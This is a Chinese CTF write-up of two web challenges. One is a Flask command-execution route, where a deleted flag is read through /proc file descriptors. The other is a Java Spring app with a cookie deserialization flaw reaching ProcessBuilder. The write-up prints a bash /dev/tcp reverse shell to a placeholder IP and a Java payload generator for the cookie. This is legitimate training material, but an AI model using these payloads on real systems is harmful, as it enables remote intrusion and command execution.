Web
CHECKIN
启动!
还原代码
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
# # @app.route('/flag')
# def flag(): # return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source(): return open("app.py","r").read()
if __name__ == "__main__": app.run(host='0.0.0.0')
有两个路由,/shell路由执行删除flag.txt,并且执行url中的c参数,但return 1,没有回显结果。实践一下
RCE这条路被封死了一半,再看看全文,发现代码中flag_file = open("flag.txt", "r"),这里有一个考点。
在 linux 系统中一个程序打开了一个文件没有关闭,即便从外部删除(rm只是删除了其相应的目录索引节点,没有删除进程),在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,而fd里有文件的内容,通过这个我们即可得到被删除文件的内容。
那怎么获得这个fd呢?
只能靠遍历获得
先去自己虚拟机看看/proc这个目录
可以看到有大量的编号
随便进入一个编号继续查看
所以这个路径的特点为 /proc/*/fd/*
因为代码中的命令执行没有回显结果,我们就只能尝试反弹shell,因为本次题目的buuctf靶机不访问外网,所以我们创另外一个小号去打开linux labs靶机,ssh登录,执行监听,就能收到
ssh连接
查看ip
结果我弹了几次shell没什么反应,又去看了看labs的靶机
行吧,试试弹自己的vps
成功了
cat /proc/*/fd/* 2>/dev/null
直接获得flag
EasySpringMVC
先下载附件打开
一看就是要让我们java代码审计,不会java啊?硬学!
此题代码不多,就三个主要代码,就当做入门java审计的第一题了
首先是ClentInfoFilter
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.filters;
import com.tools.ClientInfo;
import com.tools.Tools;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ClentInfoFilter implements Filter {
public ClentInfoFilter() {
}
public void init(FilterConfig fcg) {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Cookie[] cookies = ((HttpServletRequest)request).getCookies();
boolean exist = false;
Cookie cookie = null;
if (cookies != null) {
Cookie[] var7 = cookies;
int var8 = cookies.length;
for(int var9 = 0; var9 < var8; ++var9) {
Cookie c = var7[var9];
if (c.getName().equals("cinfo")) {
exist = true;
cookie = c;
break;
}
}
}
byte[] bytes;
if (exist) {
String b64 = cookie.getValue();
Base64.Decoder decoder = Base64.getDecoder();
bytes = decoder.decode(b64);
ClientInfo cinfo = null;
if (!b64.equals("") && bytes != null) {
try {
cinfo = (ClientInfo)Tools.parse(bytes);
} catch (Exception var14) {
var14.printStackTrace();
}
} else {
cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
Base64.Encoder encoder = Base64.getEncoder();
try {
bytes = Tools.create(cinfo);
} catch (Exception var15) {
Exception e = var15;
e.printStackTrace();
}
cookie.setValue(encoder.encodeToString(bytes));
}
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} else {
Base64.Encoder encoder = Base64.getEncoder();
try {
ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
bytes = Tools.create(cinfo);
cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
cookie.setMaxAge(86400);
((HttpServletResponse)response).addCookie(cookie);
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} catch (Exception var13) {
var13.printStackTrace();
}
}
chain.doFilter(request, response);
}
public void destroy() {
}
}
先看第一个核心代码点
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Cookie[] cookies = ((HttpServletRequest)request).getCookies();
//定义且初始化一个类型为Cookie的数组,并赋值给变量cookies
boolean exist = false;
Cookie cookie = null; //定义一个类型为Cookie的变量cookie,并初始化为null
if (cookies != null) {
Cookie[] var7 = cookies; //定义了一个Cookie类型的变量为var7,且赋值为变量cookies。联系上下文,就是定义了一个临时变量,用于存储 cookies 数组的引用。
int var8 = cookies.length;
for(int var9 = 0; var9 < var8; ++var9) { //循环数组
Cookie c = var7[var9]; //变量c存储每次遍历的值
if (c.getName().equals("cinfo")) { //equals 是 String 类中的一个方法,用于比较两个字符串的内容是否相等。这里就是看cookie的name是否等于cinfo
exist = true;
cookie = c; //等于cinfo,就赋值为给cookie
break;
}
}
}
这段代码就是在获取cookie,并且看cookie的name是否为cinfo
这里刚开始看的时候,cookies和cookie都看岔了,看得我极其混乱,还以为在初始化cookies的值,云里雾里。
下一个核心代码
byte[] bytes;
if (exist) {
String b64 = cookie.getValue();
Base64.Decoder decoder = Base64.getDecoder();
bytes = decoder.decode(b64);
ClientInfo cinfo = null;
if (!b64.equals("") && bytes != null) {
try {
cinfo = (ClientInfo)Tools.parse(bytes);
} catch (Exception var14) {
var14.printStackTrace();
}
} else {
cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
Base64.Encoder encoder = Base64.getEncoder();
try {
bytes = Tools.create(cinfo);
} catch (Exception var15) {
Exception e = var15;
e.printStackTrace();
}
cookie.setValue(encoder.encodeToString(bytes));
}
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} else {
Base64.Encoder encoder = Base64.getEncoder();
try {
ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
bytes = Tools.create(cinfo);
cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
cookie.setMaxAge(86400);
((HttpServletResponse)response).addCookie(cookie);
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} catch (Exception var13) {
var13.printStackTrace();
}
}
存在'cinfo'Cookie的情况:进行base64解密,再进行调用Tools的parse方法
不存在'cinfo'Cookie的情况:创建一个新的ClientInfo对象,并将其序列化为字节数组,然后创建一个新的Cookie并添加到响应中
接下来简单看了一下ClientInfo类的代码
package com.tools;
import java.io.Serializable;
public class ClientInfo implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String group;
private String id;
public ClientInfo(String name, String group, String id) {
this.name = name;
this.group = group;
this.id = id;
}
public String getName() {
return this.name;
}
public String getGroup() {
return this.group;
}
public String getId() {
return this.id;
}
}
就目前来看的这部分代码,就是在设置cookie的一系列身份 组别等。
看看Tools的代码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.tools;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
private String testCall;
public Tools() {
}
public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();
}
}
可以看到 parse方法在反序列化,create方法在序列化,还自定义了readObject方法。
着重分析一下这个readObject方法
(new ProcessBuilder((String[])((String[])obj))).start();
(String[])((String[])obj))
这是一个嵌套的类型转换,先把obj强行转换为string,又进行了一次string转换
new ProcessBuilder
ProcessBuilder是一个Java类,用于创建操作系统进程。也就是说把obj转换为string类型,就直接作为参数,来执行命令等操作。
这里造成了一个java反序列化漏洞,可以控制反序列化的数据,通过发送特定的
String
数组来执行任意系统命令。
再看看PictureController
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.controller;
import com.tools.ClientInfo;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.commons.CommonsMultipartFile;
@Controller
public class PictureController {
public PictureController() {
}
@RequestMapping({"/showpic.form"})
public String index(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, String file) throws Exception {
if (file == null) {
file = "showpic.jsp";
}
String[] attribute = file.split("\\.");
String suffix = attribute[attribute.length - 1];
if (!suffix.equals("jsp")) {
boolean isadmin = ((ClientInfo)httpServletRequest.getSession().getAttribute("cinfo")).getName().equals("admin");
if (isadmin || suffix.equals("jpg") && suffix.equals("gif")) {
this.show(httpServletRequest, httpServletResponse, file);
return "showpic";
} else {
return "onlypic";
}
} else {
StringBuilder stringBuilder = new StringBuilder();
int unixSep;
for(unixSep = 0; unixSep < attribute.length - 1; ++unixSep) {
stringBuilder.append(attribute[unixSep]);
}
String jspFile = stringBuilder.toString();
unixSep = jspFile.lastIndexOf(47);
int winSep = jspFile.lastIndexOf(92);
int pos = winSep > unixSep ? winSep : unixSep;
jspFile = pos != -1 ? jspFile.substring(pos + 1) : jspFile;
if (jspFile.equals("")) {
jspFile = "showpic";
}
return jspFile;
}
}
private void show(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, String filename) throws Exception {
httpServletResponse.setContentType("image/jpeg");
InputStream in = httpServletRequest.getServletContext().getResourceAsStream("/WEB-INF/resource/" + filename);
if (in == null) {
in = new FileInputStream(filename);
}
OutputStream os = httpServletResponse.getOutputStream();
byte[] b = new byte[1024];
while(((InputStream)in).read(b) != -1) {
os.write(b);
}
((InputStream)in).close();
os.flush();
os.close();
}
@RequestMapping({"/uploadpic.form"})
public String upload(MultipartFile file, HttpServletRequest request, HttpServletResponse response) throws Exception {
ClientInfo cinfo = (ClientInfo)request.getSession().getAttribute("cinfo");
if (!cinfo.getGroup().equals("webmanager")) {
return "notaccess";
} else if (file == null) {
return "uploadpic";
} else {
String originalFilename = ((DiskFileItem)((CommonsMultipartFile)file).getFileItem()).getName();
String realPath = request.getSession().getServletContext().getRealPath("/WEB-INF/resource/");
String path = realPath + originalFilename;
file.transferTo(new File(path));
request.getSession().setAttribute("newpicfile", path);
return "uploadpic";
}
}
}
这段代码就不讲的仔细了,该类有三个功能,1.展示图片 2.展示图片的一些设置,把相应类型变为image/jpeg等一些操作 3.上传图片
但仔细观察代码,可以发现展示图片要为admin才能查看,上传图片要组别为webmanager才能上传。
审计代码到目前,发现有两个攻击面,一是直接命令执行,二是通过上传图片这里,说不定能实现目录穿越。
那肯定选命令执行。
重写Tools的writeObject
private void writeObject(ObjectOutputStream out) throws IOException {
//
out.writeObject((new String[]{"bash","-c","bash -i >& /dev/tcp/your_ip/1234 0>&1"}));
}
把重写完的代码粘贴去新的一个java项目,再创建一个App.java
import java.util.Base64;
public class App {
public static void main(String[] args) {
Base64.Encoder encoder = Base64.getEncoder();
try {
Tools cinfo = new Tools();
byte[] bytes = Tools.create(cinfo);
String payload = encoder.encodeToString(bytes);
System.out.println(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
这个代码实现创建Tools对象并且序列化,再base64加密结果
修改cookies,再刷新页面
结果一直弹不了,换了两台服务器都弹不了。最后怀疑是不是没出网,又开了一个弹内网的,结果后面直接靶场崩了,靶机还销毁不了了。。。